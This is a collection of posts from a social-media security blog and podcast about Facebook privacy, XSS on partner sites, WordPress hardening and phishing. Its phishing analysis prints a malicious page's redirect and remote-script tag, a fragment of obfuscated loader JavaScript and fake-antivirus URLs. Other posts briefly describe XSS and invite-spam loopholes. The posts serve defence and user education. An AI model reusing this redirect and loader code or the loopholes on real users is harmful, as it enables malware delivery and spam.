Interestingly enough, many past advertisements in Facebook applications did greet users by name. Some ads also including names and pictures of friends. Facebook took steps several times to quell controversies that arose from such tactics, but I’m not sure many people understood the technical details that enabled such ads. Rather than simply leak a user’s ID, applications were actually passing a value called the session secret to scripts for third-party ad networks.

With a session secret, such networks could (and often did) make requests to the Facebook API for private profile information of both the user and their friends, or even private content, such as photos. Typically, this information was processed client-side and used to dynamically generate advertisements. But no technical limitations prevented ad networks from modifying their code to retrieve the information. In fact, a number of advertisements did send back certain details, such as age or gender.

Change to the Facebook Platform, such as the introduction of OAuth earlier this year, have led to the deprecation of session secrets and removed this particular problem. I’m not sure how much this sort of information leakage or similar security problems motivated the changes, but problems with session secrets certainly persisted quite a while prior to them. If the WSJ had conducted their study a year ago, the results could have been even more worrying.

Still, I’m glad that the Journal’s research has led many to look more closely at the issues they raised. First, the story has drawn attention to more general problems with web applications. Remember, the Web was originally designed for accessing static pages of primarily textual information, not the sort of complex programs found in browsers today. (HTML 2.0 didn’t even have a script tag.) Data leaking via referrers or a page’s scripts all having the same scope are problems that go beyond Facebook apps and will likely lead to more difficulties in the future if not addressed.

Second, people are now investigating silos of information collected about website visitors, such as RapLeaf’s extensive database. Several responses to the Journal piece noted that many such collections of data provide far more detail on web users and are worthy of greater attention. I agree that they deserve scrutiny, and now reporters at the Journal seem to be helping in that regard as well.

We’ve entered an age where we can do things never previously possible. Such opportunities can be exciting and clearly positive, but others could bring unintended consequences. I think the availability and depth of information about people now being gathered and analyzed falls into the latter category. Perhaps we will soon live in a world where hardly any bit of data is truly private, or perhaps we will reach a more open world through increased sharing of content. But I think it well worth our time to stop and think about the ramifications of technological developments before we simply forge ahead with them.

Over the last few years, I’ve tried to bring attention to some of the issues relating to the information Facebook collects and uses. They’re certainly not the only privacy issues relevant to today’s Internet users, and they may not be the most important. But I think they do matter, and as Facebook grows, their importance may increase. Similarly, I think it wrong to dismiss the Journal’s investigation as “complete rubbish,” and I look forward to the rest of the dialogue they’ve now generated.

First is some research several of my colleagues and I worked on.  The paper is titled: “Profiling User Passwords on Social Networks”.  The paper discusses the password problem that we all know and love as well as how you can determine passwords by what individuals post on their profiles.  We dive into tools from Robin Wood, Mark Baggett and others that can be used to pull keywords from profiles and other sources to create wordlists.  These wordlists can be used for brute force attacks on user accounts.  Next, we look at password complexity of several popular social networks with some research around brute force controls that some of the social networks have implemented, or in some cases haven’t.  Lastly, we discuss some things that users of social networks can do when choosing passwords.  You can download my paper here.

The other paper released is titled: “Security Gaps in Social Media Websites for Children Open Door to Attackers Aiming To Prey On Children” by my colleague Scott White.  In his paper he looks at the security of social media websites specifically designed for children.  This is some very detailed research and sheds some light on how predators are using these sites to target children as well as some issues that are unique to these types of social media websites.  You can download Scott’s paper here.

Speaking of social media…I’ll be presenting “Social Impact: Risks and Rewards of Social Media” at the Information Security Summit this Friday at 10am.  I’ll have the slide deck posted shortly after the conference.

Soon after that initial roll-out, security researchers noted vulnerabilities on Yelp’s website that allowed an attacker to craft pages which would hijack Yelp’s credentials and gain the same level of access to user data. TechCrunch writer Jason Kincaid reported on the cross-site scripting (XSS) holes, and made this prediction: “I suspect we’ll see similar exploits on Facebook partner sites in the future.”

Kincaid’s suspicions have now been confirmed, as the latest site with instant personalization also had an exploitable XSS vulnerability, which has now been patched. I’ll quickly add that Flixster, the company behind Rotten Tomatoes, has always been very responsive when I’ve contacted them about security issues. They have assured me that they have done XSS testing and prevention, which is more than could be said for many web developers. In posting about this issue, I primarily want to illustrate a larger point about web security.

When I heard about the expansion of instant personalization, I took a look at Rotten Tomatoes to see if any XSS problems might arise. I found one report of an old hole, but it appeared to be patched. After browsing around for a bit, though, I discovered a way I could insert some text into certain pages. At first it appeared that the site properly escaped any characters which could lead to an exploit. But ironically enough, certain unfiltered characters affected a third-party script used by the site in such a way that one could then execute arbitrary scripts. Since I had not seen this hole documented anywhere, I reported it to Rotten Tomatoes, and they promptly worked to fix it.

I’ve long argued that as more sites integrate with Facebook in more ways, we’ll see this type of problem become more common. Vulnerable applications built on the Facebook Platform provided new avenues for accessing and hijacking user accounts; now external websites that connect to Facebook open more possible security issues. As Kincaid noted in May, “Given how common XSS vulnerabilities are, if Facebook expands the program we can likely expect similar exploits. It’s also worth pointing out that some large sites with many Facebook Connect users – like Farmville.com or CNN – could also be susceptible to similar security problems. In short, the system just isn’t very secure.”

Overcoming such weaknesses is not a trivial matter, though, especially given the current architecture of how scripts are handled in a web page. Currently, any included script has essentially the same level of access and control as any other script on the page, including malicious code injected via an XSS vulnerability. If a site uses instant personalization, injected scripts can access the data used by Facebook’s code to enable social features. That’s not Facebook’s fault, and it would be difficult to avoid in any single sign-on infrastructure.

Of course, all of this applies to scripts intentionally included in the page as well, such as ad networks. With the Rotten Tomatoes roll-out, Facebook made clear that “User data is never transferred to ad networks.” Also, “Partner sites follow clear product/security/privacy guidelines,” and I assume Facebook is monitoring their usage. I’m not disputing any of these claims – Facebook is quite correct that advertisers are not getting user data.

But that’s due to policy limitations, not technical restrictions. Rotten Tomatoes includes a number of scripts from external sources for displaying ads or providing various functions. Any of these scripts could theoretically access a Facebook user’s information, though it would almost certainly be removed in short order. I did find it interesting that an external link-sharing widget on the site builds an array of links on the page, including the link to a user’s Facebook profile. This happens client-side, though, and the data is never actually transferred to another server.

I bring up these aspects simply to note the technical challenges involved in this sort of federated system. I think it’s very possible that we will eventually see ad network code on a Facebook-integrated site that tries to load available user data. After all, I’ve observed that behavior in many Facebook applications over the last few years – even after Facebook issued explicit policies against such hijacking.

These dangers are part of the reason why JavaScript guru Douglas Crockford has declared security to be the number one problem with the World Wide Web today. Crockford has even advocated that we halt HTML5 development and focus on improving security in the browser first. While that won’t likely happen, I think Crockford’s concerns are justified and that many web developers have yet to realize how dangerous cross-site scripting can be. Perhaps these issues with instant personalization sites will help increase awareness and understanding of the threat.

Postscript: This morning, an XSS vulnerability on Twitter led to script-based worms (somewhat reminiscent of “samy is my hero”) and general havoc across the site. This particular incident was not related to any mashups, but once again emphasizes the real-world security ramifications of cross-site scripting in a world of mainstream web applications.

Update (Sep. 27): Today news broke that Scribd had also become part of Facebook’s Instant Personalization program. I took a look at the site and discovered within minutes that it has a quite trivial XSS vulnerability. This particular issue should have been obvious given even a basic understanding of application security. It also indicates that Facebook is not doing much to evaluate the security of new instant personalization partners. Update 2: Scribd patched the most obvious XSS issue right about the time I updated this post: entering HTML into the search box brought up a page that loaded it unfiltered. Another search issue remained, however: starting with a closing script tag would still affect code later in the results page. After about half an hour, that problem was also patched. I’m glad Scribd moved so quickly to fix these problems, but I still find it disconcerting they were there to start with. I’ve not done any further checking for other XSS issues.

• Scary new way to use Facebook with RFID.  Is the physical world starting to merge with social media?
• MySpace updates its privacy settings
• Hacking your location with Facebook Places
• Privacy Settings for Facebook Places
• How to get hacked on Facebook (Koobface chat messages)
• Facebook spam infinitely more effective than email spam
• Facebook’s remote log-out security feature: Should you care?

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes and follow us on Twitter.  Thanks for listening!

As each major player in today’s technology and Web-connected world makes a move to get a bigger piece of the social networking pie, they take on new risks they haven’t seen before. But if they only looked around, they’d be able to see and learn from the mistakes of others.

This week Apple launched “Ping”, a new social network that serves the iTunes community. But they don’t seem to have learned much from those that have ventured into this space before them. The Ping forums are being bombarded with spam posts containing phishing links. As blogger Chester Wisniewski, from antivirus maker Sophos points out, “Did they not see this coming?” (click HERE).

While Apple should have anticipated the problems, and tried a bit harder to protect legitimate users from this unwanted content, my advice to users is the same as for any social network: Use good link hygiene.

What is Good Link Hygiene?

Link hygiene is something we all need to practice on a daily basis, whether it’s while we’re reading Email or browsing social networks. It’s about avoiding the risks associated with malicious sites and content, as well as malicious file attachments.

There are many different ways in which hackers and scammers can trick you into giving them access to valuable information and computer resources.

Here are four of the nine items I teach people to check for when it comes to link hygiene which can reduce the risks of becoming a victim from malicious content in Email and websites:

1) Are your Email configuration options set to disable previewing of content or loading of images?

2) Is your computer’s operating system and application software (e.g. browser, Adobe Reader) up to date?

3) Do you have a reputable anti-malware product with up to date patches and virus signatures on your computer?

4) Do you know what your anti-malware product’s alerts look like, so you can recognize most fake virus alerts?

 So, Apple – as well as other social networks – should take some blame for allowing their social network to become polluted with malicious content. However, it’s almost impossible for sites to eliminate these risks entirely. It’s up to us, the users, to stay vigilant, and know how to avoid becoming a victim.

If you’re a Business Premium member of the Streetwise Security Zone, you can download the PDF version of this month’s coaching content on Link Hygiene by clicking HERE. This lesson includes a discussion of the various ways in which hackers and spammers try to trick you into going to malicious sites or entering sensitive information into fake forms.

I am now offering monthly briefings, tailored to organizations that want to build and sustain security awareness for staff. Just because your security team is too busy to do its own training and awareness doesn’t mean you can’t have an economical way to address human security risks. Please call or email me at the coordinates below…

Scott Wright

The Streetwise Security Coach

Join the Streetwise Security Zone at:
http://www.streetwise-security-zone.com/join.html

Phone: 1-613-693-0997
Email: scott@streetwise-security-zone.com
Twitter ID: http://www.twitter.com/streetsec

To receive weekly security tips and other notices about helpful content available on this site, please make sure you are on my list by clicking HERE, and entering your name and email address.

Download the updated Facebook Privacy & Security Guide here (pdf download).

Facebook also allows your friends to check you in at locations, and these check-ins are indistinguishable from ones you made for yourself. In typical opt-out fashion, you can disable these check-ins via your privacy settings, and you’ll be asked about allowing them the first time a friend checks you in somewhere.

Even if you stop friends from checking you in to places, however, they can still tag you with their check-ins, similar to how friends can tag you in photos or status updates. Such tags will appear on your wall, as tagged status updates do now. You’ll be able to remove tags after the fact, but it doesn’t seem that you’ll be able to prevent friends from tagging you altogether.

Applications have two new permissions related to places. One gives access to your check-ins, the other gives access to your friends’ check-ins as well. Both will appear in the list of requested permissions when you authorize an application, and they are required for API access to check-ins. If your friends grant an application access to friends’ check-ins, you can prevent yours from appearing via “Applications and Websites” privacy controls.

API access is currently read-only – authorized applications can access your check-ins, but can’t submit check-ins to Facebook. That sort of functionality is currently in closed testing, though.

ReadWriteWeb has a nice guide to applicable privacy settings. When these controls first appeared on my profile, Facebook set the visibility for all my check-ins to “Friends Only” by default and disabled API access to my check-ins via friends by default. But they also enabled by default another setting which makes individual check-ins visible to anyone nearby at the time, whether friends or not. The option for letting friends check me in was not specifically set, but apparently I would have been prompted the first time a friend checked me in.

According to Facebook, you will only be able to check-in at locations near where you are, as determined by the geolocation feature of your browser (or your phone’s GPS for the iPhone app). I’m a bit suspicious on how difficult faking a check-in will be, but I don’t yet have the ability to test that out.

Facebook’s initial geolocation rollout brings a fairly modest feature set, but when integrated with Facebook Pages and made available to a network of 500 million people, the service offers great potential. As with other recent changes, adding check-ins reduces friction for users to share their location and provides Facebook with another valuable set of data about people’s daily activities. It remains to be seen whether users will react with discomfort over the potential for an entirely new meaning of “Facebook stalking” or with excitement over potential new product offerings. Either way, the amount and variety of information under Facebook’s control continues to expand rapidly.

• Researchers Show How Twitter, Twitpic Make Stalking Simple.  Check out ICanStalkU.com!
• Robin Sage revealed at BlackHat USA.
• Why QR Codes Are Poised to Hit the Mainstream.  Check out our QR Code.  This one is safe!
• Download 171 million Facebook names via Torrent.  Here is an update from Ron.
• Acunetix releases video and technical article about an exploitable XSS on facebook.com
• Facebook name extraction based on email/wrong password + POC

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes and follow us on Twitter.  Thanks for listening!

On the one hand, I wasn’t entirely surprised by this news – it was only a matter of time before someone started building up such a dataset. I’ve previously mentioned that developer Pete Warden had planned on releasing public profile information for 210 million Facebook users until the company’s legal team stepped in. But nothing technical prevented someone else from attempting the task and posting data without notice. I imagine Facebook may not be too happy with Bowes’ data, but I’m not going to delve into the legal issues surrounding page scraping.

However, the event did remind me of a related issue I’ve pondered over the last few months: the notion of “security through obscurity” as it relates to privacy issues.

I’ve often referenced the work of danah boyd, a social media researcher that I highly respect. In a talk earlier this year at WWW2010 entitled, ”Privacy and Publicity in the Context of Big Data,” she outlines several excellent considerations on handling massive collections of data about people. One in particular that’s worth remembering in the context of public Facebook information: “Just because data is accessible doesn’t mean that using it is ethical.” Michael Zimmer at the University of Wisconsin-Milwaukee has made similar arguments, noting that mass harvesting of Facebook data goes against the expectations of users who maintain a public profile for discovery by friends, among other issues. Knowing some of the historical issues with academic research involving human subjects, I tend to agree with these positions.

But a related point from boyd’s talk concerns me from a security perspective: “Security Through Obscurity Is a Reasonable Strategy.” As an example, she notes that people talking in public settings may still discuss personal matters, but they rely on being one conversation among hundreds to maintain privacy. If people knew other people were specifically listening to their conversation, they would adjust the topic accordingly.

In this “offline” example, taking advantage of obscurity makes sense. But boyd applies the same idea online: “You may think that they shouldn’t rely on being obscure, but asking everyone to be paranoid about everyone else in the world is a very very very unhealthy thing…. You may be able to stare at everyone who walks by but you don’t. And in doing so, you allow people to maintain obscurity. What makes the Internet so different? Why is it OK to demand the social right to stare at everyone just because you can?”

I would respond that at least three aspects make the Internet different. First, you rarely have anyway of knowing if someone is “staring at you” online. Public content on Facebook gets transferred to search engines, application developers, and individual web surfers every day without any notification to the creators of that content. Proxies and anonymizers can spoof or remove information that might otherwise help identify the source of a request. And as computing power increases each day, tracking down publicly accessible resources becomes ever easier.

Second, the nature of online data means that recording, parsing, and redistributing it tends to be far simpler than in the offline world. If I want to record someone’s in-person conversations, it’s theoretically possible that I could acquire a small recording device, place it in a convenient location, save the audio from it, type up a transcript of the person’s words, then send it to another person to read. But if I want to record someone’s conversations on Twitter (as an example), I can have all them in a format understandable to various computer-based analysis tools in just a few clicks. In fact, I could setup an automated system which monitors the person’s Twitter account and updates me whenever certain words of interest appear. Add the fact that this is true of any public Twitter account, and the capabilities for online monitoring grow enormously.

Finally, while digital content is in some ways more ephemeral than other media, web data tends to persist well beyond a creator’s ability to control. Search engine caches, archival sites, and user redistribution all contribute to keeping content alive. If someone records a spoken conversation on a tape, the tape can be destroyed before copies are made. But if you (or a friend of yours) post a sentence or photo on a social networking site, you may never be able to erase it fully from the Internet. Several celebrities have learned this the hard way lately.

From a privacy perspective, I wholeheartedly agree with boyd that we can’t expect users to become paranoid sysadmins. The final point of my own guide to Facebook privacy admonished, “You Have to Live Your Life.” But from a security perspective, I know that there will always be people and automated systems which are “staring at you” on the Internet. I’ve seen time and again that if data is placed where others can access it online, someone will access it – perhaps even unintentionally (Google indexes many pages that were obviously not meant for public consumption).

In my opinion, the only way to offer any setup online which resembles the sort of “private in public” context boyd described requires some sort of a walled garden, such as limiting your Facebook profile to logged in users. That alone still doesn’t provide the same degree of privacy, since many fake profiles exist and applications may still have access to your data. But while “security through obscurity” (or perhaps more accurately, privacy through obscurity) may be a decent strategy in many “offline” social situations, it simply can’t be relied on to protect users and data online.

Facebook users are starting to discover this firsthand. I’ve seen several reactions to Bowes’ release that characterize it as a security issue or privacy issue, and people have seemed quite surprised that building such a dataset was even possible. Yet it really shouldn’t come as a surprise to someone familiar with current technology and ways of accessing Facebook data. And it won’t be the last time we see someone make use of “public” data in surprising ways. Some of these uses may be unfortunate or unethical (see above), but we’ve often seen technology steam ahead in pursuit of fortune, and the web has many users with differing ideas on ethics. Reversing the effects of such actions may prove impossible, which is why I would argue we need to prevent them by not trusting obscurity for protection. And how do we balance this perspective to avoid unhealthy paranoia? I’m honestly not sure – but if content is publicly accessible online without any technical limitations, we can hardly consider it immune to publicizing.

The event title proclaimed “iPhone Testers Needed!” and might be enticing to users who want an iPhone. While the event page included more information on the supposed testing program, the invite was followed by a message from the event creator. Once you’re on the guest list for a Facebook event, the event administrators can send out Facebook messages you’ll receive, regardless of privacy settings. This particular message (which also arrived in my e-mail inbox due to notifications settings) included a link to the iPhone opportunity, which unsurprisingly was a typical “offer” page that required me to submit personal information and try out some service before I could get my fancy new phone.

I began investigating how this all happened. When you create a Facebook event and try to invite people, you’ll only see a list of your friends to choose from. But it turns out that on the backend, nothing prevents you from submitting requests directly to Facebook with other people’s Facebook IDs. In my testing, I’ve been able to send event invitations to other users even if we’re not friends and they have tight privacy settings. I’m guessing that using this technique to invite more than a few people could raise a spam alert, but I’m not sure. Also, an event invitation does not give the event creator increased access to any profile information of guests, but as already noted, it does let event administrators send messages to people they might otherwise not be able to contact.

I’m sure Facebook will take action soon to clamp down on this particular loophole, so I think it unlikely we’ll see it exploited too widely. (The iPhone testing event currently has around 1800 guests – significant, but tiny compared to other Facebook scams.) But it does demonstrate the sort of challenges Facebook is having to handle as their network and power expand. Several years ago, when the site was used for little besides keeping in touch with college classmates and other offline friends, Facebook was seen as mostly spam-free, in contrast to services like Myspace. Now that applications, social gaming friends, and corporate brands have all become integral parts of the Facebook experience, black hat marketers keep finding new ways to spread links among users. And worse, those tricks can often be used to spread malware as well.

I do think that Facebook wants to avoid annoying users with spam, and works to prevent your inbox on the site from becoming as flooded as a typical e-mail account. But a network of 500 million people presents a very enticing target, and we’ll keep seeing new scam ideas pop up as Facebook expands and adds features. In the mean time, continue to be wary of any links  promising a glamorous reward for free.

• Quick update on Diaspora (pronounced Di-as-para).  Here is a video update as well.
• FTC nails Twitter for deceiving users about privacy and security
• HTTPS Everywhere Firefox extension from the EFF
• Persistent XSS on Twitter.com
• Interesting New Twitter Phish Can Lead to Bad Places
• Facebook Rolls Out Simplified Application Permissions System
• Facebook Phonebook Is Not A Security Threat
• NTIA (National Telecommunications and Information Administration) has received the report of the Online Safety and Technology Working Group (OSTWG) “Youth Safety on a Living Internet” (2.42 MB PDF file)

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes. Thanks for listening!

I first created this blog in 2007 after finding basic CSRF issues in the first publicly available OpenSocial application. At the time, I admittedly knew very little about application security (not that I know much now!), but I was interested in many aspects of building online social networking systems, and that led me to research security issues more and more. Over time, this blog grew and several other projects hosted on the same server fell by the wayside. As my understanding of security also grew, I found some of my sites hacked a few times, and I undertook a number of steps to secure this WordPress installation.

That maintenance contributed to the confidence I had in my warning on Twitter – malicious scripts kept popping up in my site’s footer, and the only apparent problem were some suspicious requests to a particular WordPress interface. I had looked gone through all my plug-ins (the apparent source of previous attacks), double-checked my permissions, changed passwords, etc. I finally did a thorough sweep of every single folder on my site, and lurking in an upload folder, I found a sophisticated PHP backdoor.

I’m guessing that file originally been placed during a much older attack and I’d simply missed it until now. Since deleting it and taking even more steps to protect my blog, I’ve not had any more trouble. I wouldn’t presume to think this site is 100% secure and I’ve never claimed to be an expert on application security, much less WordPress or PHP security, but I’m now quite confident that I’ve taken enough precautions to avoid most attacks.

That leads me to the following list of steps I’ve performed to harden this particular WordPress site. If you’ve not taken the time to ensure your blog is secure, this may be a good guide for you to start with. I’m indebted to many websites on WordPress security, and while I would want to link to all of them, I’m honestly not sure of all the specific ones I’ve drawn from and it would take a while to piece them together. A quick search will bring up many helpful recommendations, and I encourage you to check them out in addition to these tips.

• Stay updated. Running the most current version of WordPress is probably the most important step. My host offers automatic updating for my installations. Also, be sure to keep your plug-ins updated as well.
• Protect other sites. If you have more than one website running on the same server, make sure all of them are secure. One vulnerable application can compromise others. If you have sites that you don’t maintain, consider deleting them or locking them down to avoid future problems.
• Scan through all of your folders. If you haven’t done this in a while, now would be a good time. Look through what files are present and keep an eye out for anything suspicious. Check your WordPress files against a fresh download to make sure they line up.
• Scan through all of your permissions. This should be fairly easy with an FTP program that displays permissions settings. With rare exception, I keep files at chmod 644 and folders at chmod 755.
• Periodically change passwords. Definitely modify your passwords if you’ve recovered from an attack. Remember to change your database password (and corresponding line in wp-config.php) as well as account passwords.
• Use modified passphrases. This is one tip I don’t see often, but it’s one of my favorite tricks. Rather than simply jumbling characters into a password you have trouble remembering, start with a sentence. Not something terribly common, but something familiar to you. Pick one with at least six words in it. Take the whole sentence, with capitalization and punctuation, and add some complexity – append some numbers and punctuation at the beginning or end, and maybe change a few letters to numbers (such as “3″ for “e”). You should then have a very strong “password” that’s much easier to remember. Many websites and applications will let you use spaces and hundreds of characters in your password. But once again: avoid common phrases, include at least six words, and don’t just use a sentence without adding some numbers and special characters.
• Check your users table in the database. I’ve seen attacks before that lead to the creation of an administrative account which is then hidden from the list of users in the web-based control panel. I’ve never quite understood why hidden users should be allowed, but that could be part of the attack to begin with. Anyway, just to be careful, I like to look at the actual table in the database and see if any other accounts have administrative privileges.
• Double-check and clean up all plug-ins. I’ve deleted every plug-in I don’t use, and I try to keep all of my active plug-ins current. If you have a plug-in that’s no longer maintained or hasn’t been updated in a long time, you should probably check and see if a newer replacement is available. In my experience, plug-ins can be one of the weakest points in your WordPress installation. It’s kind of like a certain other site I know well – Facebook itself tends to be pretty secure, but you can often access data through vulnerable Facebook applications.
• Add HTTP authentication to your wp-admin folder. This is covered in many places online so I’ll not recap specific steps here. And I’ll add that I realize this is not a silver bullet – basic authentication sends passwords in cleartext (so don’t use the same credentials as your WordPress account), and the traffic is not encrypted if you’re not using SSL/TLS. But adding another login prompt for the admin panel adds friction and may repel less-determined attackers. (This tip is obviously geared towards those who don’t have user accounts for non-admins.)
• Move wp-config.php to a folder not as easily accessible. You can place wp-config.php one folder above your WordPress install; under my hosting setup, this location does not correspond to any public website folder. I also set mine to chmod 644 after changing it.
• Rename your admin account. Several means exist to do this; I simply edited the record in the database.
• Change your table prefix. This can be a bit of a hassle, but plug-ins exist (see below) to help. I’ll admit that I still need to check this one off my own list; long story.
• Disable interfaces such as XML-RPC if you don’t use them. I don’t doubt that the programmers behind WordPress have worked hard to secure these interfaces, but I simply don’t like having another avenue of accessing administrative functions. And I think it’s not a bad idea to disable features you don’t actually need.
• Use security tools. I installed the WP Security Scan plug-in after reading about it on WordPress’ own hardening guide.
• Keep monitoring your site. I make a habit of loading up my homepage ever so often, hitting “View Source,” and scanning through the HTML. If I ever see an unfamiliar script or iframe element, I look closer.

That’s my personal list of WordPress security tips, based on many helpful resources and my own experiences of getting hacked. These certainly don’t apply to everyone, more could be added, and your mileage may vary, but hopefully this will help others avoid some of the problems I encountered. Be sure to look at other people’s advice as well and watch out for any WordPress security news.

The Email
The following screen shot shows you what the email looks like.  It seems to come from Twitter but you will notice that there are some interesting clues that tell you this isn’t real.  First, the Twitter account mentioned is just the first part of the email address this was sent to.  This may or may not be your Twitter ID.  Second, check out the “Britney Spears home video feedback” subject line and “Antidepressants for your bed vigor” bold red in the message body.  Yep.  All the signs that this isn’t from Twitter.  Ok, nothing to see here right?

The Link
When you look at the source of the email, the link actually goes to “hxxp://89.161.148.201/cekfcq.html”. If you do click on this link several things happen:

An HTML page is loaded which redirects you to a shady Russian software site.  This site (software-oemdigital.ru) has a ton of phisy looking domains that were assigned to it since 6/11/2010.  The HTML file also loads a script which runs a PHP file on another server.  Let’s take a look at the response:

HTTP/1.0 200 OK
Connection: close
Content-Length: 250
Content-Type: text/html
Date: Wed, 23 Jun 2010 15:09:53 GMT
Last-Modified: Wed, 23 Jun 2010 08:30:01 GMT
Server: IdeaWebServer/v0.70

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=hxxp://software-oemdigital.ru”>
<title></title>

<html><head>
</head></html><script src=hxxp://eurolisting.net/Cgi-bin/markprint.php ></script>

The Russian software site loads as normal but something else is going on in the background from eurolisting.net and that PHP file.  Here is the response:

HTTP/1.1 200 OK
Connection: close
Date: Wed, 23 Jun 2010 17:46:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=1287414902; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/javascript

// <script>
function cxx(wcH){return wcH.replace(/%/g,”).replace(/['ow:Y]/g,fUp)}
cPH7j=’d:6fcY75meY6et.Y77rio74w65(Y22o3cdiv stylew3d:5cY22pw6fsitio6fnY3aaw62so6fl:75o74Y65o3b lefto3a:2d1000pxY3bw20tY6fp:3aw2d10w300pxw3bo5cw22:3ew22Y29w3b:66unctiY6fn :6973(a)o7bdY6fcu:6deY6et.w77rw69te(:22:3cifrao6d:65w20srcw3do5co22httw70Y3ao2f <SNIP>

All of the stuff following the script tag is obfuscated JavaScript.  I cut most of it out as it is quite lengthy.  Running this through jsunpack (a JavaScript unpacker) the script tries to load several things including some VBScript that seems to check for system properties, if you are running Firefox and if you have Java and/or Flash enabled as well as what seems to be a check for Adobe Reader plug-ins.  You can check out the script and the unpacked version over at the jsunpack site.

Now this is where it gets interesting.  In Internet Explorer the PHP file seems to generate a request to a URI that doesn’t exist: hxxp://89.161.148.201/zzz/ttt/ad3740b4.class, it 404′s.  You can also see this in the Wireshark capture below:

In Firefox it’s a different story.  The Russian software site still loads and something else attempts to get requested:

hxxp://wiki.insuranceplanningaz.com/main.php?h=89.161.148.201&i=JcmridQaq/ykgRj4UMpOy5Ec&e=4

This site will lead to some fun “fake AV” which prompts you to download a “setup.exe” file.

You probably don’t want to run that file.  The good news is that if you have the latest version of Firefox it will note this as a reported web forgery and tries to prevent you from going there.  One problem I see is that if you are running an older version of Firefox you might not get this notification.  I haven’t tested this with other browsers but your results may vary.

What does this all mean?  Well of course don’t click on shady emails like this.  You know better right?  Also, don’t think that because you use Firefox you are safe from attacks like these!  Attackers are catching on and I would suspect we will see more attacks targeting multiple browsers besides IE.  Wait, too late isn’t it?  Special thanks to Greg and Tyler for providing intel about these domains and some of the analysis.

• Our Facebook Privacy & Security Guide has been updated to v2.2.  We are working on the LinkedIn Privacy & Security Guide!
• How to permanently delete your Facebook account
• Quit Facebook Day – May 31st was it successful?
• Facebook Leaks Usernames, User IDs, and Personal Details to Advertisers
• Facebook Fixing Embarrassing Privacy Bug (CSRF). Video here.
• Facebook “likejacking” targets World Cup, BP, Shrek, UFC, …
• ReclaimPrivacy.org – Facebook Privacy Scanner
• Facebook firehose comes to Bing
• Formspring.me XSS flaw
• MySpace Announces New Privacy Controls
• Social media pose the latest challenge in separating work from personal spaces

Please send any show feedback to feedback [aT] socialmediasecurity.com or comment below.  You can also call our voice mail box at 1-613-693-0997 if you have a question for our Q&A section on the next episode.  You can also subscribe to the podcast in iTunes. Thanks for listening!

This update includes details on all the recent changes to Facebook’s privacy settings that went live May 26, 2010.  I have also included more information on “Instant Personalization”, removing yourself from “Platform”, and how your public information can be accessed via the Facebook Graph API.  Note that you may not have these settings enabled on your Facebook profile…yet.  They are slowly being rolled out to the Facebook user base and may take a few weeks.  Please share with friends, family and others!

Download the latest version of the Facebook Privacy & Security Guide here.

Jumping forward to today we see yet another iteration of these settings.  I don’t have the settings on my Facebook account yet so I haven’t updated the guide but I have read some of the information already out there.  The EFF has a good post up about the new settings.  They even have a YouTube video showing you the changes and their recommendations.  The other post you should read is one by theharmonyguy who, as always, has very good analysis of these settings and Facebook overall.

My thoughts are pretty much along the same lines as the EFF and others.  However, I will say that no matter what changes Facebook makes to their privacy settings they *will* find ways to use your information to make money.  This is Mark Zuckerberg’s business model and that won’t change anytime soon.  I will leave you with a fantastic quote that I think sums up all the media drama leading up to these new privacy controls.  This is a quote from Bruce Schneier.  It’s from an article he did for Forbes regarding statements that “Privacy is Dead”:

“It’s just not true. People, including the younger generation, still care about privacy. Yes, they’re far more public on the Internet than their parents: writing personal details on Facebook, posting embarrassing photos on Flickr and having intimate conversations on Twitter. But they take steps to protect their privacy and vociferously complain when they feel it violated. They’re not technically sophisticated about privacy and make mistakes all the time, but that’s mostly the fault of companies and Web sites that try to manipulate them for financial gain.”

First, the new interface for making many changes appears to be much more streamlined. This should be a welcome change to those confused by the previous litany of options. The primary privacy page displays a table with columns for “Everyone,” “Friends of Friends,” and “Friends Only,” with rows for several categories of content. This table not only establishes settings for certain bits of profile information; it also lets users set defaults for new content shared.

Second, Facebook has removed the requirement that “connections,” such as your list of friends and the pages you “like,” always be publicly available information. A secondary page will provide access controls for certain groups of these connections, as well as who can friend you, send you messages, or see your profile in search results.

Third, users will have new options related to third-party applications that integrate with Facebook. The company had previously announced a granular permissions model for applications, and developers are in the process of transitioning to the new setup. Those permissions will now be reflected in the privacy settings, though how that will look is not yet clear. (Also, Facebook’s privacy guide assures users that applications can only request “information that’s needed for them to work,” but that’s up to developers.) Facebook is also re-instating an option to completely opt-out from the Facebook Platform. This setting had been available prior to changes last fall. However, it now appears that this opt-out will also be the only way to avoid public content being indexed by search engines.

Zuckerberg promised an “easy” way to opt-out of the controversial instant personalization program, which lets certain third-party websites automatically identify Facebook visitors, but the feature remains opt-out. Many of the other privacy settings are also still opt-out in that the site defaults appear to remain the same, presented as “Recommended” when a new user checks them.

I’ve been concerned about the tone of some Facebook responses to recent privacy concerns, and today’s presentation by Zuckerberg was no exception. He noted that the company had not seen any noticeable impact on site usage lately, and according to one report commented, “Perhaps the personal privacy preferences of liberal advocacy groups and DC politicians don’t match with those of the general public.” That may be true, though I think politicians or privacy advocates have a deeper understanding of recent changes than the general public. Still, this sort of remark comes across as at best somewhat irritated and at worst rather arrogant. It also probably won’t win over any liberal advocacy groups or DC politicians. (For the record, I don’t fall into either category.)

Other aspects of the announcements lead me to wonder how much Facebook truly understands the rising worries over the site’s handling of privacy issues.  Zuckerberg emphasized the site’s focus on sharing, that users want to share, and his belief that people want to share more openly. The default privacy options clearly reflect this belief, positioning Facebook as a site generally intended for public sharing.

